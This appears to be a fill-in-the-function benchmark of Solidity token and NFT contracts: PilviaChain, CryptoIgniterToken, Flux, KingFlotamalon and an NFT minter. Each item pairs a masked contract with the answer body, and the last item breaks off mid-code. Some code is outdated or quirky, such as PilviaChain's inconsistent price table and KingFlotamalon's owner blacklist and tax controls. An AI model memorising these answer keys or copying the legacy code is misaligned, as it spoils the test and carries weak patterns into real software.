totalCost = feeWhitelist[msg.sender] ? 0 : (whitelistEnabled && whitelist[msg.sender] ? whitelistPrice : price) * amount; require (msg.value == totalCost, "Incorrect amount paid"); uint256 mintId = currentId; require ((mintId-1) + amount <= mintingLimit, "Not enough tokens remaining"); for (uint i = 0; i < amount; i++){ _safeMint(msg.sender, mintId); mintId++; } currentId = mintId; } _multiMint(amount, msg.sender); } function claimFunds() external onlyOwner { dev.transfer((address(this).balance * devFee) / 100); project.transfer(address(this).balance); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } // The following functions are overrides required by Solidity. function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 _tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { require(_exists(_tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[_tokenId]; string memory base = _baseURI(); if (bytes(_tokenURI).length > 0) { return _tokenURI; } if ((revealedTo >= _tokenId) && bytes(base).length > 0) { return concatenate(base, concatenate(_tokenId.toString(), baseExtension)); } if (bytes(placeholderURI).length > 0) { return placeholderURI; } return super.tokenURI(_tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } <FILL_FUNCTION> function remaining() external view returns(uint256) { return mintingLimit - (currentId-1); } function enabledWhitelist(bool _enabled) external onlyOwner { whitelistEnabled = _enabled; } function loadWhitelist(address[] calldata addressList, bool _listed) external onlyOwner { for (uint256 i = 0; i < addressList.length; i++) { whitelist[addressList[i]] = _listed; } } function concatenate(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } //C U ON THE MOON }
uint256 balance = balanceOf(me); if (limit == 0) limit = 1; if (balance > 0) { if (start >= balance) start = balance-1; if (start + limit > balance) limit = balance - start; myNFTIDs = new uint256[](limit); myNFTuris = new string[](limit); uint256 gasUsed = 0; uint256 gasLeft = gasleft(); for (uint256 i=0; gasUsed < (_gas > 0 ? _gas : gas) && i < limit; i++) { lastId = i+start; uint256 id = tokenOfOwnerByIndex(me, lastId); myNFTIDs[i] = id; myNFTuris[i] = tokenURI(id); gasUsed = gasUsed + (gasLeft - gasleft()); gasLeft = gasleft(); } }
function getMyNFTs(address me, uint256 start, uint256 limit, uint256 _gas) external view returns (uint256[] memory myNFTIDs, string[] memory myNFTuris, uint256 lastId)
function getMyNFTs(address me, uint256 start, uint256 limit, uint256 _gas) external view returns (uint256[] memory myNFTIDs, string[] memory myNFTuris, uint256 lastId)
44994
PilviaChain
PilviaChain
contract PilviaChain is StandardToken { string public constant name = "Pilvia Chain"; string public constant symbol = "PIL"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 50 * 10**7 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function PilviaChain() public {<FILL_FUNCTION_BODY> } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** * If the user sends 0 ether, he receives 222 * If he sends 0.001 ether, he receives 300 * If he sends 0.005 ether, he receives 1500 * If he sends 0.01 ether, he receives 3000 * If he sends 0.1 ether he receives 30000 * If he sends 1 ether, he receives 300,000 +100% */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = 0; if(_weiAmount == 0){ amountOfTokens = 222 * (10**uint256(decimals)); } if( _weiAmount == 0.001 ether){ amountOfTokens = 300 * (10**uint256(decimals)); } if( _weiAmount == 0.002 ether){ amountOfTokens = 600 * (10**uint256(decimals)); } if( _weiAmount == 0.003 ether){ amountOfTokens = 900 * (10**uint256(decimals)); } if( _weiAmount == 0.004 ether){ amountOfTokens = 1200 * (10**uint256(decimals)); } if( _weiAmount == 0.005 ether){ amountOfTokens = 1500 * (10**uint256(decimals)); } if( _weiAmount == 0.006 ether){ amountOfTokens = 1800 * (10**uint256(decimals)); } if( _weiAmount == 0.007 ether){ amountOfTokens = 2100 * (10**uint256(decimals)); } if( _weiAmount == 0.008 ether){ amountOfTokens = 2400 * (10**uint256(decimals)); } if( _weiAmount == 0.009 ether){ amountOfTokens = 2700 * (10**uint256(decimals)); } if( _weiAmount == 0.01 ether){ amountOfTokens = 3000 * (10**uint256(decimals)); } if( _weiAmount == 0.02 ether){ amountOfTokens = 6000 * (10**uint256(decimals)); } if( _weiAmount == 0.03 ether){ amountOfTokens = 9000 * (10**uint256(decimals)); } if( _weiAmount == 0.04 ether){ amountOfTokens = 12000 * (10**uint256(decimals)); } if( _weiAmount == 0.05 ether){ amountOfTokens = 15000 * (10**uint256(decimals)); } if( _weiAmount == 0.06 ether){ amountOfTokens = 18000 * (10**uint256(decimals)); } if( _weiAmount == 0.07 ether){ amountOfTokens = 21000 * (10**uint256(decimals)); } if( _weiAmount == 0.08 ether){ amountOfTokens = 24000 * (10**uint256(decimals)); } if( _weiAmount == 0.09 ether){ amountOfTokens = 27000 * (10**uint256(decimals)); } if( _weiAmount == 0.1 ether){ amountOfTokens = 30 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.2 ether){ amountOfTokens = 60 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.3 ether){ amountOfTokens = 90 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.4 ether){ amountOfTokens = 120 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.5 ether){ amountOfTokens = 225 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.6 ether){ amountOfTokens = 180 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.7 ether){ amountOfTokens = 210 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.8 ether){ amountOfTokens = 240 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.9 ether){ amountOfTokens = 270 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 1 ether){ amountOfTokens = 600 * 10**3 * (10**uint256(decimals)); } return amountOfTokens; } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }
contract PilviaChain is StandardToken { string public constant name = "Pilvia Chain"; string public constant symbol = "PIL"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 50 * 10**7 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); <FILL_FUNCTION> // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** * If the user sends 0 ether, he receives 222 * If he sends 0.001 ether, he receives 300 * If he sends 0.005 ether, he receives 1500 * If he sends 0.01 ether, he receives 3000 * If he sends 0.1 ether he receives 30000 * If he sends 1 ether, he receives 300,000 +100% */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = 0; if(_weiAmount == 0){ amountOfTokens = 222 * (10**uint256(decimals)); } if( _weiAmount == 0.001 ether){ amountOfTokens = 300 * (10**uint256(decimals)); } if( _weiAmount == 0.002 ether){ amountOfTokens = 600 * (10**uint256(decimals)); } if( _weiAmount == 0.003 ether){ amountOfTokens = 900 * (10**uint256(decimals)); } if( _weiAmount == 0.004 ether){ amountOfTokens = 1200 * (10**uint256(decimals)); } if( _weiAmount == 0.005 ether){ amountOfTokens = 1500 * (10**uint256(decimals)); } if( _weiAmount == 0.006 ether){ amountOfTokens = 1800 * (10**uint256(decimals)); } if( _weiAmount == 0.007 ether){ amountOfTokens = 2100 * (10**uint256(decimals)); } if( _weiAmount == 0.008 ether){ amountOfTokens = 2400 * (10**uint256(decimals)); } if( _weiAmount == 0.009 ether){ amountOfTokens = 2700 * (10**uint256(decimals)); } if( _weiAmount == 0.01 ether){ amountOfTokens = 3000 * (10**uint256(decimals)); } if( _weiAmount == 0.02 ether){ amountOfTokens = 6000 * (10**uint256(decimals)); } if( _weiAmount == 0.03 ether){ amountOfTokens = 9000 * (10**uint256(decimals)); } if( _weiAmount == 0.04 ether){ amountOfTokens = 12000 * (10**uint256(decimals)); } if( _weiAmount == 0.05 ether){ amountOfTokens = 15000 * (10**uint256(decimals)); } if( _weiAmount == 0.06 ether){ amountOfTokens = 18000 * (10**uint256(decimals)); } if( _weiAmount == 0.07 ether){ amountOfTokens = 21000 * (10**uint256(decimals)); } if( _weiAmount == 0.08 ether){ amountOfTokens = 24000 * (10**uint256(decimals)); } if( _weiAmount == 0.09 ether){ amountOfTokens = 27000 * (10**uint256(decimals)); } if( _weiAmount == 0.1 ether){ amountOfTokens = 30 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.2 ether){ amountOfTokens = 60 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.3 ether){ amountOfTokens = 90 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.4 ether){ amountOfTokens = 120 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.5 ether){ amountOfTokens = 225 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.6 ether){ amountOfTokens = 180 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.7 ether){ amountOfTokens = 210 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.8 ether){ amountOfTokens = 240 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.9 ether){ amountOfTokens = 270 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 1 ether){ amountOfTokens = 600 * 10**3 * (10**uint256(decimals)); } return amountOfTokens; } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }
totalSupply = INITIAL_SUPPLY; owner = msg.sender; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true;
function PilviaChain() public
function PilviaChain() public
38810
CryptoIgniterToken
CryptoIgniterToken
contract CryptoIgniterToken { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function CryptoIgniterToken() public {<FILL_FUNCTION_BODY> } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
contract CryptoIgniterToken { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); <FILL_FUNCTION> /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
totalSupply = 8000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; name = 'CryptoIgniter Token'; // The name for display purposes symbol = 'CIT'; // The symbol for display purposes
function CryptoIgniterToken() public
/** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function CryptoIgniterToken() public
50717
Flux
null
contract Flux is ERC20 { constructor() public ERC20("Flux Protocol", "FLUX") {<FILL_FUNCTION_BODY> } }
contract Flux is ERC20 { <FILL_FUNCTION> }
_mint(msg.sender, 21000000 * 1e18);
constructor() public ERC20("Flux Protocol", "FLUX")
constructor() public ERC20("Flux Protocol", "FLUX")
92578
KingFlotamalon
contractSwap
contract KingFlotamalon is IERC20 { // Ownership moved to in-contract for customizability. address private _owner; mapping (address => uint256) _tOwned; mapping (address => bool) lpPairs; uint256 private timeSinceLastPair = 0; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isExcludedFromLimits; mapping (address => bool) private _isExcludedFromDividends; mapping (address => bool) private _liquidityHolders; uint256 constant private startingSupply = 1_000_000_000_000; string constant private _name = "King Flotamalon"; string constant private _symbol = "KF"; uint8 constant private _decimals = 9; uint256 constant private _tTotal = startingSupply * (10 ** _decimals); struct Fees { uint16 buyFee; uint16 sellFee; uint16 transferFee; uint16 boostBuyFee; uint16 boostSellFee; uint16 boostTransferFee; } struct Ratios { uint16 rewards; uint16 liquidity; uint16 marketing; uint16 buyback; uint16 dev; uint16 winner; uint16 total; } Fees public _taxRates = Fees({ buyFee: 1500, sellFee: 2500, transferFee: 0, boostBuyFee: 2500, boostSellFee: 2500, boostTransferFee: 2500 }); Ratios public _ratios = Ratios({ rewards: 15, liquidity: 5, marketing: 15, buyback: 5, dev: 0, winner: 0, total: 40 }); uint256 constant public maxBuyTaxes = 2500; uint256 constant public maxSellTaxes = 2500; uint256 constant public maxTransferTaxes = 2500; uint256 constant masterTaxDivisor = 10000; IRouter02 public dexRouter; address public lpPair; address constant public DEAD = 0x000000000000000000000000000000000000dEaD; address constant private ZERO = 0x0000000000000000000000000000000000000000; struct TaxWallets { address payable marketing; address payable dev; address payable winner; } TaxWallets public _taxWallets = TaxWallets({ marketing: payable(0x2A034fc3c1552Ab065b152d4560C7eD3e254942C), dev: payable(0x7A24FFFb6d565a3650EEE3aCDA64eA74b1Cc1D0C), winner: payable(address(0)) }); uint256 private _maxTxAmount = (_tTotal * 100) / 100; uint256 private _maxWalletSize = (_tTotal * 2) / 100; Cashier reflector; uint256 reflectorGas = 300000; bool inSwap; bool public contractSwapEnabled = false; uint256 public contractSwapTimer = 10 seconds; uint256 private lastSwap; uint256 public swapThreshold = (_tTotal * 5) / 10000; uint256 public swapAmount = (_tTotal * 20) / 10000; bool public processReflect = false; bool public tradingEnabled = false; bool public _hasLiqBeenAdded = false; AntiSnipe antiSnipe; bool public boostedTaxesEnabled = false; uint256 public boostedTaxTimestampEnd; modifier swapping() { inSwap = true; _; inSwap = false; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event ContractSwapEnabledUpdated(bool enabled); event AutoLiquify(uint256 amountBNB, uint256 amount); event SniperCaught(address sniperAddress); constructor () payable { // Set the owner. _owner = msg.sender; _tOwned[_owner] = _tTotal; emit Transfer(ZERO, _owner, _tTotal); emit OwnershipTransferred(address(0), _owner); if (block.chainid == 56) { dexRouter = IRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E); } else if (block.chainid == 97) { dexRouter = IRouter02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); } else if (block.chainid == 1 || block.chainid == 4) { dexRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else if (block.chainid == 43114) { dexRouter = IRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4); } else if (block.chainid == 250) { dexRouter = IRouter02(0xF491e7B69E4244ad4002BC14e878a34207E38c29); } else { revert(); } lpPair = IFactoryV2(dexRouter.factory()).createPair(dexRouter.WETH(), address(this)); lpPairs[lpPair] = true; _approve(_owner, address(dexRouter), type(uint256).max); _approve(address(this), address(dexRouter), type(uint256).max); _isExcludedFromFees[_owner] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[DEAD] = true; _isExcludedFromDividends[_owner] = true; _isExcludedFromDividends[lpPair] = true; _isExcludedFromDividends[address(this)] = true; _isExcludedFromDividends[DEAD] = true; _isExcludedFromDividends[ZERO] = true; } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== // Ownable removed as a lib and added here to allow for custom transfers and renouncements. // This allows for removal of ownership privileges from the owner once renounced or transferred. function transferOwner(address newOwner) external onlyOwner { require(newOwner != address(0), "Call renounceOwnership to transfer owner to the zero address."); require(newOwner != DEAD, "Call renounceOwnership to transfer owner to the zero address."); _isExcludedFromFees[_owner] = false; _isExcludedFromDividends[_owner] = false; _isExcludedFromFees[newOwner] = true; _isExcludedFromDividends[newOwner] = true; if(_tOwned[_owner] > 0) { _transfer(_owner, newOwner, _tOwned[_owner]); } _owner = newOwner; emit OwnershipTransferred(_owner, newOwner); } function renounceOwnership() public virtual onlyOwner { _isExcludedFromFees[_owner] = false; _isExcludedFromDividends[_owner] = false; _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } //=============================================================================================================== //=============================================================================================================== //=============================================================================================================== receive() external payable {} function totalSupply() external pure override returns (uint256) { if (_tTotal == 0) { revert(); } return _tTotal; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return _owner; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) private { require(sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function approveContractContingency() public onlyOwner returns (bool) { _approve(address(this), address(dexRouter), type(uint256).max); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transfer(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] -= amount; } return _transfer(sender, recipient, amount); } function setBlacklistEnabled(address account, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabled(account, enabled); setDividendExcluded(account, enabled); } function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner { antiSnipe.setBlacklistEnabledMultiple(accounts, enabled); } function isBlacklisted(address account) public view returns (bool) { return antiSnipe.isBlacklisted(account); } function setInitializers(address aInitializer, address cInitializer) external onlyOwner { require(!_hasLiqBeenAdded); require(cInitializer != address(this) && aInitializer != address(this) && cInitializer != aInitializer); reflector = Cashier(cInitializer); antiSnipe = AntiSnipe(aInitializer); } function removeSniper(address account) external onlyOwner { antiSnipe.removeSniper(account); } function removeBlacklisted(address account) external onlyOwner { antiSnipe.removeBlacklisted(account); } function setProtectionSettings(bool _antiSnipe, bool _antiGas, bool _antiBlock, bool _antiSpecial) external onlyOwner { antiSnipe.setProtections(_antiSnipe, _antiGas, _antiBlock, _antiSpecial); } function setGasPriceLimit(uint256 gas) external onlyOwner { require(gas >= 250, "Too low."); antiSnipe.setGasPriceLimit(gas); } function enableTrading() public onlyOwner { require(!tradingEnabled, "Trading already enabled!"); require(_hasLiqBeenAdded, "Liquidity must be added."); if(address(antiSnipe) == address(0)){ antiSnipe = AntiSnipe(address(this)); } try antiSnipe.setLaunch(lpPair, uint32(block.number), uint64(block.timestamp), _decimals) {} catch {} try reflector.initialize() {} catch {} tradingEnabled = true; swapThreshold = (balanceOf(lpPair) * 5) / 10000; swapAmount = (balanceOf(lpPair) * 1) / 1000; } function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes); _taxRates.buyFee = buyFee; _taxRates.sellFee = sellFee; _taxRates.transferFee = transferFee; } function setBoostedTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner { require(buyFee <= maxBuyTaxes && sellFee <= maxSellTaxes && transferFee <= maxTransferTaxes); _taxRates.boostBuyFee = buyFee; _taxRates.boostSellFee = sellFee; _taxRates.boostTransferFee = transferFee; } function setRatios(uint16 rewards, uint16 liquidity, uint16 marketing, uint16 dev, uint16 buyback, uint16 winner) external onlyOwner { if(winner > 0) { require(_taxWallets.winner != address(0)); } _ratios.rewards = rewards; _ratios.liquidity = liquidity; _ratios.marketing = marketing; _ratios.dev = dev; _ratios.buyback = buyback; _ratios.winner = winner; _ratios.total = rewards + liquidity + marketing + dev + buyback + winner; } function setWallets(address payable marketing, address payable dev) external onlyOwner { _taxWallets.marketing = payable(marketing); _taxWallets.dev = payable(dev); } function setWinnerWallet(address payable wallet) external onlyOwner { _taxWallets.winner = wallet; } function setContractSwapSettings(bool _enabled, bool processReflectEnabled) external onlyOwner { contractSwapEnabled = _enabled; processReflect = processReflectEnabled; } function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner { swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor; swapAmount = (_tTotal * amountPercent) / amountDivisor; contractSwapTimer = time; } function setReflectionCriteria(uint256 _minPeriod, uint256 _minReflection, uint256 minReflectionMultiplier) external onlyOwner { _minReflection = _minReflection * 10**minReflectionMultiplier; reflector.setReflectionCriteria(_minPeriod, _minReflection); } function setReflectorSettings(uint256 gas) external onlyOwner { require(gas < 750000); reflectorGas = gas; } function giveMeWelfarePlease() external { reflector.giveMeWelfarePlease(msg.sender); } function getTotalReflected() external view returns (uint256) { return reflector.getTotalDistributed(); } function getUserInfo(address shareholder) external view returns (string memory, string memory, string memory, string memory) { return reflector.getShareholderInfo(shareholder); } function getUserRealizedGains(address shareholder) external view returns (uint256) { return reflector.getShareholderRealized(shareholder); } function getUserUnpaidEarnings(address shareholder) external view returns (uint256) { return reflector.getPendingRewards(shareholder); } function setNewRouter(address newRouter) external onlyOwner { IRouter02 _newRouter = IRouter02(newRouter); address get_pair = IFactoryV2(_newRouter.factory()).getPair(address(this), _newRouter.WETH()); if (get_pair == address(0)) { lpPair = IFactoryV2(_newRouter.factory()).createPair(address(this), _newRouter.WETH()); } else { lpPair = get_pair; } dexRouter = _newRouter; _approve(address(this), address(dexRouter), type(uint256).max); } function setLpPair(address pair, bool enabled) external onlyOwner { if (enabled == false) { lpPairs[pair] = false; antiSnipe.setLpPair(pair, false); } else { if (timeSinceLastPair != 0) { require(block.timestamp - timeSinceLastPair > 3 